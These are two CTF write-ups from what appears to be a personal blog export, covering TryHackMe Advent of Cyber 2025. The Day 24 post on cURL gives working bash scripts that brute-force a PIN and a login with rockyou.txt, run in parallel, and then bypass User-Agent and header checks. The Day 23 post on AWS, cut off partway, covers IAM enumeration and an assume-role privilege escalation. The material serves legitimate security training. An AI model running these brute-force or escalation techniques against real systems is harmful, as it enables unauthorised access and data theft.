[{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 24\nTitle: Exploitation with cURL - Hoperation Eggsploit\nBonus: Final Mission Description\nThe evil Easter bunnies operate a web control panel that holds the wormhole open. Using cURL, identify the endpoints, send the required requests, and shut the wormhole once and for all.\nSummary\nWe master cURL fundamentals \u0026ndash; sending HTTP requests, managing POST data and cookies \u0026ndash; through four initial exercises covering credentials, session persistence, brute-forcing, and user-agent bypasses.\nFor the bonus challenge, we enumerate five key endpoints (info, login, pin, status, close) using a custom User-Agent header, then execute a five-step attack: (1) brute-force the PIN via Bash loop, (2) verify it by extracting the operator_token from the status endpoint, confirming the username is admin, (3) attempt credential brute-forcing but recognize the 30+ hour computational cost makes this impractical for a CTF, (4) verify login and save the session cookie, and (5) close the wormhole by sending the session cookie, operator_token, and X-Force: close header.\nStoryline\nThe blue team must shut down a wormhole control panel on the Evil Bunnies\u0026rsquo; web server using command-line tools and cURL to send HTTP requests and find the endpoints needed to close the portal before facing King Malhare.\nTheory cURL Basics HTTP is the protocol browsers use to request resources from servers. cURL is a command-line tool that lets you send HTTP requests directly from the terminal, making it ideal for precise control when GUI tools are unavailable.\nSending an HTTP Request\nuser@kali:~$ curl http://10.114.176.251 -v * Trying 10.114.176.251:80... * Established connection to 10.114.176.251 (10.114.176.251 port 80) from 192.168.171.248 port 34310 * using HTTP/1.x \u003e GET / HTTP/1.1 \u003e Host: 10.114.176.251 \u003e User-Agent: curl/8.19.0 \u003e Accept: */* \u003e * Request completely sent off \u003c HTTP/1.1 200 OK \u003c Date: ... \u003c Server: Apache/2.4.52 (Ubuntu) \u003c Vary: Accept-Encoding \u003c Content-Length: 77 \u003c Content-Type: text/html; charset=UTF-8 \u003c Welcome to the cURL practice server! Try sending a POST request to /post.php * Connection #0 to host 10.114.176.251:80 left intact user@kali:~$ Sending a POST Request\nThe data is sent in URL-encoded format. Add additional fields if necessary: -d \u0026quot;username=user\u0026amp;password=user\u0026amp;submit=Login\u0026quot; user@kali:~$ curl -X POST -d \"username=user\u0026password=user\" http://10.114.176.251/post.php -v ... \u003e POST /post.php HTTP/1.1 \u003e Host: 10.114.176.251 \u003e User-Agent: curl/8.19.0 \u003e Accept: */* \u003e Content-Length: 27 \u003e Content-Type: application/x-www-form-urlencoded \u003e * upload completely sent off: 27 bytes \u003c HTTP/1.1 200 OK \u003c Date: ... \u003c Server: Apache/2.4.52 (Ubuntu) \u003c Content-Length: 21 \u003c Content-Type: text/html; charset=UTF-8 \u003c Invalid credentials. ... user@kali:~$ Saving Cookies and Working with Sessions\nWeb applications use cookies to keep your session active once you log in. Browsers send them automatically with every request; you need to manually include them with cURL. Saving the Cookies\nuser@kali:~$ curl -c cookies.txt -d \"username=admin\u0026password=admin\" http://10.114.176.251/session.php -v ... \u003e POST /session.php HTTP/1.1 \u003e Host: 10.114.176.251 \u003e User-Agent: curl/8.19.0 \u003e Accept: */* \u003e Content-Length: 29 \u003e Content-Type: application/x-www-form-urlencoded \u003e ... \u003c HTTP/1.1 200 OK \u003c Date: ... \u003c Server: Apache/2.4.52 (Ubuntu) * Added cookie PHPSESSID=\"k3pud8mcnqllu9816s2ba8kp22\" for domain 10.114.176.251, path /, expire 0 \u003c Set-Cookie: PHPSESSID=k3pud8mcnqllu9816s2ba8kp22; path=/ \u003c Expires: Thu, 19 Nov 1981 08:52:00 GMT \u003c Cache-Control: no-store, no-cache, must-revalidate \u003c Pragma: no-cache \u003c Content-Length: 21 \u003c Content-Type: text/html; charset=UTF-8 \u003c Invalid credentials. ... user@kali:~$ cat cookies.txt # Netscape HTTP Cookie File # https://curl.se/docs/http-cookies.html # This file was generated by libcurl! Edit at your own risk. 10.114.176.251\tFALSE\t/\tFALSE\t0\tPHPSESSID\tk3pud8mcnqllu9816s2ba8kp22 user@kali:~$ Reusing Saved Cookies\nuser@kali:~$ curl -b cookies.txt http://10.114.176.251/session.php -v ... \u003e GET /session.php HTTP/1.1 \u003e Host: 10.114.176.251 \u003e User-Agent: curl/8.19.0 \u003e Accept: */* \u003e Cookie: PHPSESSID=k3pud8mcnqllu9816s2ba8kp22 \u003e ... \u003c HTTP/1.1 200 OK \u003c Date: ... \u003c Server: Apache/2.4.52 (Ubuntu) \u003c Expires: Thu, 19 Nov 1981 08:52:00 GMT \u003c Cache-Control: no-store, no-cache, must-revalidate \u003c Pragma: no-cache \u003c Content-Length: 45 \u003c Content-Type: text/html; charset=UTF-8 \u003c Please log in first by POSTing to this page. ... user@kali:~$ Automating Login Brute-Forcing Creating a Wordlist for Potential Passwords\nuser@kali:~$ nano passwords.txt user@kali:~$ cat passwords.txt admin123 password letmein secretpass secret ... user@kali:~$ Creating a Brute-Forcing Bash Script\n# ~loop.sh for pass in $(cat passwords.txt); do echo \u0026#34;Trying password: $pass\u0026#34; response=$(curl -s -X POST -d \u0026#34;username=admin\u0026amp;password=$pass\u0026#34; http://10.114.176.251/bruteforce.php) if echo \u0026#34;$response\u0026#34; | grep -q \u0026#34;Welcome\u0026#34;; then echo \u0026#34;[+] Password found: $pass\u0026#34; break fi done Adding Execute Permission to the Script\nuser@kali:~$ chmod +x loop.sh user@kali:~$ ls -hla loop.sh -rwxrwxr-x 1 user user ... loop.sh user@kali:~$ Running the Brute-Force Simulation\nuser@kali:~$ ./loop.sh Trying password: admin123 Trying password: password Trying password: letmein Trying password: secretpass [+] Password found: secretpass user@kali:~$ Bypassing User-Agent Checks Specifying a Custom User-Agent\nuser@kali:~$ curl -A \"internalcomputer\" http://10.114.176.251/ua_check.php -v ... \u003e GET /ua_check.php HTTP/1.1 \u003e Host: 10.114.176.251 \u003e User-Agent: internalcomputer \u003e Accept: */* \u003e ... \u003c HTTP/1.1 200 OK \u003c Date: ... \u003c Server: Apache/2.4.52 (Ubuntu) \u003c Content-Length: 27 \u003c Content-Type: text/html; charset=UTF-8 \u003c Welcome Internal Computer! ... user@kali:~$ Questions and Answers Question-1: Make a POST request to the /post.php endpoint with the username admin and the password admin. What is the flag you receive?\n\u0026lt;redacted-flag\u0026gt;\nuser@kali:~$ curl -X POST -d \"username=admin\u0026password=admin\" http://10.114.176.251/post.php -v ... \u003e POST /post.php HTTP/1.1 ... \u003e Content-Type: application/x-www-form-urlencoded ... \u003c HTTP/1.1 200 OK ... Login successful! Flag: \u0026lt;redacted-flag\u0026gt; ... user@kali:~$ Question-2: Make a request to the /cookie.php endpoint with the username admin and the password admin and save the cookie. Reuse that saved cookie at the same endpoint. What is the flag you receive?\n\u0026lt;redacted-flag\u0026gt;\nLet\u0026rsquo;s first create the request and save the cookies in cookie.txt:\nuser@kali:~$ curl -c cookies.txt -d \"username=admin\u0026password=admin\" http://10.114.176.251/cookie.php -v ... \u003e POST /cookie.php HTTP/1.1 ... \u003e Content-Length: 29 \u003e Content-Type: application/x-www-form-urlencoded ... \u003c HTTP/1.1 200 OK ... * Added cookie PHPSESSID=\"bog61mbo4qd98lpcu3co3jclfi\" for domain 10.114.176.251, path /, expire 0 \u003c Set-Cookie: PHPSESSID=bog61mbo4qd98lpcu3co3jclfi; path=/ \u003c Expires: Thu, 19 Nov 1981 08:52:00 GMT \u003c Cache-Control: no-store, no-cache, must-revalidate \u003c Pragma: no-cache ... Login successful. Cookie set. ... user@kali:~$ Next, we check and verify the saved cookies:\nuser@kali:~$ cat cookies.txt # Netscape HTTP Cookie File # https://curl.se/docs/http-cookies.html # This file was generated by libcurl! Edit at your own risk. 10.114.176.251\tFALSE\t/\tFALSE\t0\tPHPSESSID\tbog61mbo4qd98lpcu3co3jclfi user@kali:~$ Lastly, we reuse the saved cookies:\nuser@kali:~$ curl -b cookies.txt http://10.114.176.251/cookie.php -v ... \u003e GET /cookie.php HTTP/1.1 ... \u003e Cookie: PHPSESSID=bog61mbo4qd98lpcu3co3jclfi ... \u003c HTTP/1.1 200 OK ... \u003c Expires: Thu, 19 Nov 1981 08:52:00 GMT \u003c Cache-Control: no-store, no-cache, must-revalidate \u003c Pragma: no-cache ... Welcome back, admin! Flag: \u0026lt;redacted-flag\u0026gt; ... user@kali:~$ Question-3: After doing the brute force on the /bruteforce.php endpoint, what is the password of the admin user?\nsecretpass\nLet\u0026rsquo;s re-run the login brute-forcing script:\nuser@kali:~$ ./loop.sh Trying password: admin123 Trying password: password Trying password: letmein Trying password: secretpass [+] Password found: secretpass user@kali:~$ Question-4: Make a request to the /agent.php endpoint with the user-agent TBFC. What is the flag you receive?\n\u0026lt;redacted-flag\u0026gt;\nuser@kali:~$ curl -A \"TBFC\" http://10.114.176.251/agent.php -v ... \u003e GET /agent.php HTTP/1.1 ... \u003e User-Agent: TBFC ... \u003c HTTP/1.1 200 OK ... Flag: \u0026lt;redacted-flag\u0026gt; ... user@kali:~$ Bonus - Final Mission Bonus-Question: Can you solve the Final Mission and get the flag?\nNo answer needed\nNotes\nUse rockyou.txt for brute-forcing the password. PIN is between 4000 and 5000. Server: http://10.113.183.49/terminal.php?action=panel Reconnaissance and Enumeration Let\u0026rsquo;s start with a simple GET request:\nuser@kali:~$ curl http://10.113.183.49/terminal.php?action=panel -v ... \u003e GET /terminal.php?action=panel HTTP/1.1 ... \u003c HTTP/1.1 200 OK ... \u003c Set-Cookie: PHPSESSID=6sioacnfvbpjll51ihct5jf410; path=/ \u003c Expires: Thu, 19 Nov 1981 08:52:00 GMT \u003c Cache-Control: no-store, no-cache, must-revalidate \u003c Pragma: no-cache \u003c Vary: Accept-Encoding ... \u0026lt;h2\u0026gt;Access denied\u0026lt;/h2\u0026gt;\u0026lt;p\u0026gt;This admin panel is terminal-only and is only accessible using secretcomputer\u0026lt;/p\u0026gt; user@kali:~$ The reply nudges us to use a custom User-Agent named secretcomputer, so let\u0026rsquo;s modify our request accordingly:\nuser@kali:~$ curl -A secretcomputer http://10.113.183.49/terminal.php?action=panel -v ... \u003e GET /terminal.php?action=panel HTTP/1.1 ... \u003e User-Agent: secretcomputer ... \u003c HTTP/1.1 200 OK ... \u003c Set-Cookie: PHPSESSID=ugmh9g48hh14mel4fbo68el5l6; path=/ \u003c Expires: Thu, 19 Nov 1981 08:52:00 GMT \u003c Cache-Control: no-store, no-cache, must-revalidate \u003c Pragma: no-cache ... \"service\": \"Wormhole Control Panel\", \"endpoints\": { \"\\/terminal.php?action=info\": \"Public info\", \"\\/terminal.php?action=login\": \"POST: username,password\", \"\\/terminal.php?action=pin\": \"POST: attempt PIN to get temporary admin token\", \"\\/terminal.php?action=status\": \"GET: wormhole status\", \"\\/terminal.php?action=close\": \"POST: close wormhole\" }, \"note\": \"This panel only answers to terminal user agents. Use the endpoints to fully close the wormhole.\" ... user@kali:~$ Now we have some endpoints we can enumerate:\nuser@kali:~$ curl -A secretcomputer http://10.113.183.49/terminal.php?action={info,login,pin,status,close} -v ... \u003e GET /terminal.php?action=info HTTP/1.1 ... \u003c HTTP/1.1 200 OK ... \"title\": \"Bunny Control Panel\", \"desc\": \"The rabbits hide the wormhole state and protect closure behind both a session and a token. You will need to authenticate and obtain the operator token.\" ... \u003e GET /terminal.php?action=login HTTP/1.1 ... \u003c HTTP/1.1 400 Bad Request ... \"error\": \"POST username \u0026 password required.\" ... \u003e GET /terminal.php?action=pin HTTP/1.1 ... \u003c HTTP/1.1 400 Bad Request ... \"error\": \"POST pin required. ex: curl -X POST -d \\\"pin=1234\\\" ...\" ... \u003e GET /terminal.php?action=status HTTP/1.1 ... \u003c HTTP/1.1 200 OK ... \"wormhole\": \"OPEN\", \"note\": \"Admin information hidden. Authenticate and obtain operator token.\" ... \u003e GET /terminal.php?action=close HTTP/1.1 ... \u003c HTTP/1.1 400 Bad Request ... \"error\": \"POST required to close wormhole.\" ... user@kali:~$ To summarize, we have:\n/terminal.php?action=info: Bunny Control Panel\n\u0026ldquo;The rabbits hide the wormhole state and protect closure behind both a session and a token. You will need to authenticate and obtain the operator token.\u0026rdquo; /terminal.php?action=login: Error\n\u0026ldquo;POST username \u0026amp; password required.\u0026rdquo; /terminal.php?action=pin: Error\n\u0026ldquo;POST pin required. ex: curl -X POST -d \u0026quot;pin=1234\u0026quot; \u0026hellip;\u0026rdquo; /terminal.php?action=status: Wormhole: \u0026ldquo;OPEN\u0026rdquo;\n\u0026ldquo;note\u0026rdquo;: \u0026ldquo;Admin information hidden. Authenticate and obtain operator token.\u0026rdquo; /terminal.php?action=close: Error\n\u0026ldquo;POST required to close wormhole.\u0026rdquo; Given the information we receive from the ?action=info endpoint, the plan is to:\nStep 1: Brute-force the PIN at the ?action=pin endpoint. Step 2: Verify the PIN, save the token (after successfully brute-forcing the PIN), and reuse it for following requests. Step 3: Brute-force the login \u0026ndash; authenticate at the ?action=login endpoint. Step 4: Verify the cookie and obtain the session cookie with a successful login. Then save the cookie and reuse it for following requests. Step 5: Close the wormhole by sending both the correct cookie and the token. Brute-Forcing the PIN Let\u0026rsquo;s start with a sample POST request:\nuser@kali:~$ curl -A secretcomputer -X POST -d \"pin=1234\" http://10.113.183.49/terminal.php?action=pin -v ... \"status\": \"fail\", \"msg\": \"Incorrect PIN\", \"attempts\": null ... user@kali:~$ Let\u0026rsquo;s use the sample request as the base and the previously introduced loop.sh as the template to create a PIN brute-forcing script:\n# ~brute-pin.sh for pin in {4000..5000}; do # echo \u0026#34;Trying PIN: $pin\u0026#34; response=$(curl -s -A secretcomputer -X POST -d \u0026#34;pin=$pin\u0026#34; http://10.113.183.49/terminal.php?action=pin) if echo \u0026#34;$response\u0026#34; | grep -q \u0026#39;\u0026#34;status\u0026#34;: \u0026#34;fail\u0026#34;\u0026#39;; then continue else echo \u0026#34;Pin Found: $pin\u0026#34; break fi done Save the script as brute-pin.sh, make it executable with chmod +x brute-pin.sh, and finally run it:\nuser@kali:~$ chmod +x brute-pin.sh user@kali:~$ ./brute-pin.sh Pin Found: 4731 user@kali:~$ Verifying the PIN We have a valid PIN. Let\u0026rsquo;s see what the response is for the correct PIN:\nuser@kali:~$ curl -A secretcomputer -X POST -d \"pin=4731\" http://10.113.183.49/terminal.php?action=pin -v ... \"status\": \"ok\", \"operator_token\": \"23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848\", \"note\": \"This token is valid for the day. Use it as Bearer or X-Operator header.\" ... user@kali:~$ Let\u0026rsquo;s note the operation_token and verify its validity by crafting a request to the ?action=status endpoint and including it with:\n-H \u0026#34;X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848\u0026#34; Let\u0026rsquo;s send the request:\nuser@kali:~$ curl -A secretcomputer -H \"X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848\" http://10.113.183.49/terminal.php?action=status -v ... \u003e GET /terminal.php?action=status HTTP/1.1 ... \u003e X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848 ... \u003c HTTP/1.1 200 OK ... \"wormhole\": \"OPEN\", \"reinforcements\": \"ENABLED\", \"last_update\": \"...\", \"is_admin\": \"true\", \"operator_token_valid\": true ... user@kali:~$ The token appears to be valid, given the response. Also, let\u0026rsquo;s check the differences between the original response,\n\u0026hellip;\n\u0026ldquo;wormhole\u0026rdquo;: \u0026ldquo;OPEN\u0026rdquo;,\n\u0026ldquo;note\u0026rdquo;: \u0026ldquo;Admin information hidden. Authenticate and obtain operator token.\u0026quot;\n\u0026hellip;\nand the new response (where the valid operation token is included):\n\u0026hellip;\n\u0026ldquo;wormhole\u0026rdquo;: \u0026ldquo;OPEN\u0026rdquo;,\n\u0026ldquo;reinforcements\u0026rdquo;: \u0026ldquo;ENABLED\u0026rdquo;,\n\u0026ldquo;last_update\u0026rdquo;: \u0026ldquo;\u0026hellip;\u0026rdquo;,\n\u0026ldquo;is_admin\u0026rdquo;: \u0026ldquo;true\u0026rdquo;,\n\u0026ldquo;operator_token_valid\u0026rdquo;: true\n\u0026hellip;\nWith this, we not only verify the token validity but we can also use the field \u0026quot;is_admin\u0026quot;: \u0026quot;true\u0026quot; to infer the username (admin) for the login at the ?action=login endpoint.\nBrute-Forcing the Login First, let\u0026rsquo;s prepare the wordlist \u0026ndash; rockyou.txt \u0026ndash; copy it to our current working directory, and extract it:\nuser@kali:~$ sudo cp /usr/share/wordlists/rockyou.txt.gz . user@kali:~$ gunzip rockyou.txt.gz user@kali:~$ ls -hla ... -rwxrwxr-x 1 user user 287 ... brute-pin.sh -rw-r--r-- 1 user user 134M ... rockyou.txt user@kali:~$ Next, verify everything works as intended:\nuser@kali:~$ head -n 10 rockyou.txt 123456 12345 123456789 password iloveyou princess 1234567 rockyou 12345678 abc123 user@kali:~$ Moving on, let\u0026rsquo;s create a sample POST request to the specified endpoint, ?action=login, with the inferred username (admin), and see how it behaves:\nuser@kali:~$ curl -A secretcomputer -X POST \"username=admin\u0026password=admin\" http://10.113.183.49/terminal.php?action=login -v ... \u003e POST /terminal.php?action=login HTTP/1.1 ... \u003c HTTP/1.1 200 OK ... \"status\": \"fail\", \"msg\": \"Invalid credentials.\" ... user@kali:~$ Using this sample, let\u0026rsquo;s prepare a brute-forcing script using the previously prepared loop.sh script as the template.\nOur goal is to automatically cycle through the passwords in the rockyou.txt wordlist:\n# ~brute-login.sh for pass in $(cat rockyou.txt); do response=$(curl -s -A secretcomputer -X POST -d \u0026#34;username=admin\u0026amp;password=$pass\u0026#34; http://10.113.183.49/terminal.php?action=login) if echo \u0026#34;$response\u0026#34; | grep -q \u0026#39;\u0026#34;status\u0026#34;: \u0026#34;fail\u0026#34;\u0026#39;; then continue else echo \u0026#34;$response\u0026#34; break fi done Complexity Issue We face an issue here. The only hints regarding brute-forcing the ?action=login endpoint are:\nUsername is probably admin, given the hint from the ?action=status endpoint: \u0026quot;is_admin\u0026quot;: \u0026quot;true\u0026quot; Password is probably inside the rockyou.txt wordlist Herein lies the issue: the password wordlist has over 14 million (14,344,392) entries:\nuser@kali:~$ wc -l rockyou.txt 14344392 rockyou.txt user@kali:~$ If we attempt to try each one of them at, say, 3 attempts per second \u0026ndash; like with the previous script brute-login.sh \u0026ndash; we arrive at:\n14,344,392 attempts / 3 attempts/sec / 60 (convert to minutes) / 60 (convert to hours) / 24 (convert to days) = ~55 days We can use Python to do the exact calculations:\nuser@kali:~$ python -c \"print(14344392/3/60/60/24)\" 55.34101851851852 user@kali:~$ Running our script for 55 days straight is simply not feasible. Can we do better? Let\u0026rsquo;s try to parallelize (make it concurrent) so that multiple threads or processes make the attempt at the same time.\nHere is an attempt running it on 20 processes:\n# ~brute-login_parallel.sh #!/bin/bash cat rockyou.txt | xargs -P 20 -I {} bash -c \u0026#39; pass=\u0026#34;{}\u0026#34; response=$(curl -s -A secretcomputer -X POST -d \u0026#34;username=admin\u0026amp;password=$pass\u0026#34; http://10.113.183.49/terminal.php?action=login) if ! echo \u0026#34;$response\u0026#34; | grep -q \u0026#34;\\\u0026#34;status\\\u0026#34;: \\\u0026#34;fail\\\u0026#34;\u0026#34;; then echo \u0026#34;$response\u0026#34; break fi\u0026#39; But how much faster are we really? Let\u0026rsquo;s do a little benchmarking.\nThe idea is to measure how fast we can make the first 1,000 attempts and from there calculate how many attempts we can make in one second:\n# ~benchmark_brute-login_parallel.sh #!/bin/bash start_time=$(date +%s%N) head -n 1000 rockyou.txt | xargs -P 100 -I {} bash -c \u0026#39; pass=\u0026#34;{}\u0026#34; response=$(curl -s -A secretcomputer -X POST -d \u0026#34;username=admin\u0026amp;password=$pass\u0026#34; http://10.113.183.49/terminal.php?action=login) if ! echo \u0026#34;$response\u0026#34; | grep -q \u0026#34;\\\u0026#34;status\\\u0026#34;: \\\u0026#34;fail\\\u0026#34;\u0026#34;; then echo \u0026#34;$response\u0026#34; break fi echo \u0026#34;42\u0026#34; \u0026gt;\u0026gt; /tmp/attempt_counter.txt\u0026#39; end_time=$(date +%s%N) total_attempts=$(wc -l \u0026lt; /tmp/attempt_counter.txt) elapsed_seconds=$(echo \u0026#34;scale=3; ($end_time - $start_time) / 1000000000\u0026#34; | bc) attempts_per_second=$(echo \u0026#34;scale=2; $total_attempts / $elapsed_seconds\u0026#34; | bc) echo \u0026#34;Total attempts: $total_attempts\u0026#34; echo \u0026#34;Elapsed time: $elapsed_seconds seconds\u0026#34; echo \u0026#34;Attempts per second: $attempts_per_second\u0026#34; rm /tmp/attempt_counter.txt Let\u0026rsquo;s save it, make it executable, and finally run it:\nuser@kali:~$ chmod +x benchmark_brute-login_parallel.sh user@kali:~$ ./benchmark_brute-login_parallel.sh Total attempts: 1000 Elapsed time: 34.189 seconds Attempts per second: 29.24 user@kali:~$ Around 30 attempts per second. That\u0026rsquo;s still over 5 days. Let\u0026rsquo;s try with 100 processes:\nuser@kali:~$ ./benchmark_brute-login_parallel.sh Total attempts: 1000 Elapsed time: 7.496 seconds Attempts per second: 133.40 user@kali:~$ Over 130 attempts per second. Let\u0026rsquo;s calculate it:\nuser@kali:~$ python -c \"print(14344392/130/60/60)\" 30.650410256410257 user@kali:~$ That\u0026rsquo;s still over 30 hours. That\u0026rsquo;s just not feasible for a CTF.\nSince we already tried the first 100 entries in the wordlist, then the first 1,000, and then finally the first 10,000 entries in rockyou with these scripts, we will have to give up here and search for the solution.\nAll of the solutions we found were using different fuzzing tools, but none used cURL \u0026ndash; in a room dedicated to cURL. Well, stranger things have happened.\nLet\u0026rsquo;s move on and assume that we brute-forced the password, which is: stellaris61.\nVerifying the Login Let\u0026rsquo;s verify the found password:\nuser@kali:~$ curl -A secretcomputer -X POST -d \"username=admin\u0026password=stellaris61\" http://10.113.183.49/terminal.php?action=login -v ... \u003e POST /terminal.php?action=login HTTP/1.1 ... \u003c HTTP/1.1 200 OK ... \u003c Set-Cookie: PHPSESSID=k1q13liujlsovintrio8mvf79o; path=/ \u003c Expires: Thu, 19 Nov 1981 08:52:00 GMT \u003c Cache-Control: no-store, no-cache, must-revalidate \u003c Pragma: no-cache ... \"status\": \"login_success\", \"msg\": \"Session cookie set. You still need the operator token to close the wormhole.\" ... user@kali:~$ It works; we are authenticated and provided with a cookie to keep track of our session. Let\u0026rsquo;s save the cookies into login-cookies.txt:\nuser@kali:~$ curl -c login-cookies.txt -A secretcomputer -X POST -d \"username=admin\u0026password=stellaris61\" http://10.113.183.49/terminal.php?action=login -v ... \u003e POST /terminal.php?action=login HTTP/1.1 ... \u003c HTTP/1.1 200 OK ... * Added cookie PHPSESSID=\"pvhfmc08901t7p82ekl2jksuf3\" for domain 10.113.183.49, path /, expire 0 \u003c Set-Cookie: PHPSESSID=pvhfmc08901t7p82ekl2jksuf3; path=/ ... \"status\": \"login_success\", \"msg\": \"Session cookie set. You still need the operator token to close the wormhole.\" ... user@kali:~$ cat login-cookies.txt # Netscape HTTP Cookie File # https://curl.se/docs/http-cookies.html # This file was generated by libcurl! Edit at your own risk. 10.113.183.49\tFALSE\t/\tFALSE\t0\tPHPSESSID\tpvhfmc08901t7p82ekl2jksuf3 user@kali:~$ Closing the Wormhole With all the pieces in hand, it\u0026rsquo;s finally time to close the wormhole. Let\u0026rsquo;s check if everything is in order by checking the ?action=status endpoint with all the collected credentials:\nuser@kali:~$ curl -b login-cookies.txt -H \"X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848\" -A secretcomputer http://10.113.183.49/terminal.php?action=status -v ... \u003e GET /terminal.php?action=status HTTP/1.1 \u003e Host: 10.113.183.49 \u003e User-Agent: secretcomputer \u003e Accept: */* \u003e Cookie: PHPSESSID=pvhfmc08901t7p82ekl2jksuf3 \u003e X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848 ... \u003c HTTP/1.1 200 OK ... \"wormhole\": \"OPEN\", \"reinforcements\": \"ENABLED\", \"last_update\": \"...\", \"is_admin\": \"true\", \"operator_token_valid\": true ... user@kali:~$ Everything seems ready. Let\u0026rsquo;s try to close it:\nuser@kali:~$ curl -X POST -b login-cookies.txt -H \"X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848\" -A secretcomputer http://10.113.183.49/terminal.php?action=close -v ... \u003e POST /terminal.php?action=close HTTP/1.1 ... \u003c HTTP/1.1 403 Forbidden ... \"status\": \"denied\", \"msg\": \"Missing admin session, operator token, or X-Force header. All three required.\" ... user@kali:~$ We are denied, but the message mentions an X-Force header besides the admin session and the operator token. Let\u0026rsquo;s try to add one:\nuser@kali:~$ curl -X POST -b login-cookies.txt -H \"X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848\" -H \"X-Force: dummy-data\" -A secretcomputer http://10.113.183.49/terminal.php?action=close -v ... \u003e POST /terminal.php?action=close HTTP/1.1 ... \u003c HTTP/1.1 403 Forbidden ... \"status\": \"denied\", \"msg\": \"Missing admin session, operator token, or X-Force header. All three required.\" ... user@kali:~$ No success with the sample data. Let\u0026rsquo;s try close, as in closing the gate with X-Force: close:\nuser@kali:~$ curl -X POST -b login-cookies.txt -H \"X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848\" -H \"X-Force: close\" -A secretcomputer http://10.113.183.49/terminal.php?action=close -v ... \u003e POST /terminal.php?action=close HTTP/1.1 \u003e Host: 10.113.183.49 \u003e User-Agent: secretcomputer \u003e Accept: */* \u003e Cookie: PHPSESSID=pvhfmc08901t7p82ekl2jksuf3 \u003e X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848 \u003e X-Force: close ... \u003c HTTP/1.1 200 OK ... \"status\": \"wormhole_closed\", \"flag\": \"THM{wormhole_closed_by_curl}\", \"msg\": \"You closed the wormhole. Reinforcements halted.\" ... user@kali:~$ It worked, and now the wormhole is closed! There is no reason to redact the flag here, given that it is not used anywhere.\nStory Conclusion McSkidy leads Wareville\u0026rsquo;s townspeople in a final assault against King Malhare after his reinforcements are cut off. Sir Breachblocker III helps her reach the throne room by confronting Sir Carrotbane.\nMcSkidy defeats the king by trapping him in a cage, ending his tyranny. King Malhare and Sir Carrotbane are imprisoned, while Sir Breachblocker III is pardoned and becomes the new king.\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-24/","summary":"TryHackMe | Advent of Cyber 2025 | Day 24: Exploitation with cURL - Hoperation Eggsploit + Final Mission","title":"AOC25 | Day-24 + Bonus"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 23\nTitle: AWS Security - S3cret Santa Description\nLearn the basics of AWS enumeration.\nSummary\nWe start by verifying our AWS credentials as user sir.carrotbane and then enumerate IAM policies, where we discover permissions to assume the bucketmaster role. Next, we assume this role via AWS STS, obtaining temporary credentials with S3 access.\nWe then enumerate the easter-secrets-123145 S3 bucket and download sensitive files using aws s3api, completing the privilege escalation and data exfiltration.\nStoryline\nAn infiltrated elf agent discovered cloud credentials on Sir Carrotbane\u0026rsquo;s desk and believes they may provide access to TBFC\u0026rsquo;s cloud network.\nCredentials and Access AWS (Amazon Web Services) programmatic access is configured using an Access Key ID and Secret Access Key stored in the ~/.aws/credentials file. The AWS Security Token Service (STS) allows you to retrieve information about the configured user credentials.\nWe can verify our AWS CLI configuration by running the aws sts get-caller-identity command, which returns details including the user ID, AWS account number, and the user\u0026rsquo;s Amazon Resource Name (ARN).\nubuntu@tryhackme:~$ aws sts get-caller-identity { \"UserId\": \"kau1ve5g5ycfczxhrzjk\", \"Account\": \"123456789012\", \"Arn\": \"arn:aws:iam::123456789012:user/sir.carrotbane\" } ubuntu@tryhackme:~$ IAM AWS Identity and Access Management (IAM) controls user access to resources and their permitted actions.\nCore Components IAM Users: Individual identities with credentials and user-level permissions. IAM Groups: Collections of users for simplified bulk permission management. IAM Roles: Temporary identities for users, services, or external accounts. IAM Policies: JSON documents defining who (Principal) can do what (Action) on which resources (Resource) under what conditions (Condition). IAM Policies Policies are JSON documents that specify who (Principal) can perform what (Action) on which resources (Resource) under what conditions (Condition).\nUsers and Groups Enumerating Users ubuntu@tryhackme:~$ aws iam list-users { \"Users\": [ { \"Path\": \"/\", \"UserName\": \"sir.carrotbane\", \"UserId\": \"kau1ve5g5ycfczxhrzjk\", \"Arn\": \"arn:aws:iam::123456789012:user/sir.carrotbane\", \"CreateDate\": \"...\" } ] } ubuntu@tryhackme:~$ Enumerating User Groups ubuntu@tryhackme:~$ aws iam list-groups-for-user --user-name sir.carrotbane { \"Groups\": [] } ubuntu@tryhackme:~$ Policies Enumerating User Policies Inline policies\nHard-coded directly into user profiles and deleted when the identity is removed. Useful for one-off, identity-specific permissions. Attached policies\nAlso called managed policies. Reusable across multiple identities. Require only a single update to propagate changes to all identities that use them, making them more efficient for managing shared permissions. Listing Inline Policies ubuntu@tryhackme:~$ aws iam list-user-policies --user-name sir.carrotbane { \"PolicyNames\": [ \"SirCarrotbanePolicy\" ] } ubuntu@tryhackme:~$ Listing Attached Policies ubuntu@tryhackme:~$ aws iam list-attached-user-policies --user-name sir.carrotbane { \"AttachedPolicies\": [] } ubuntu@tryhackme:~$ Checking an Inline Policy Assigned to a User ubuntu@tryhackme:~$ aws iam get-user-policy --policy-name SirCarrotbanePolicy --user-name sir.carrotbane { \"UserName\": \"sir.carrotbane\", \"PolicyName\": \"SirCarrotbanePolicy\", \"PolicyDocument\": { \"Version\": \"2012-10-17\", \"Statement\": [ { \"Action\": [ \"iam:ListUsers\", \"iam:ListGroups\", \"iam:ListRoles\", \"iam:ListAttachedUserPolicies\", \"iam:ListAttachedGroupPolicies\", \"iam:ListAttachedRolePolicies\", \"iam:GetUserPolicy\", \"iam:GetGroupPolicy\", \"iam:GetRolePolicy\", \"iam:GetUser\", \"iam:GetGroup\", \"iam:GetRole\", \"iam:ListGroupsForUser\", \"iam:ListUserPolicies\", \"iam:ListGroupPolicies\", \"iam:ListRolePolicies\", \"sts:AssumeRole\" ], 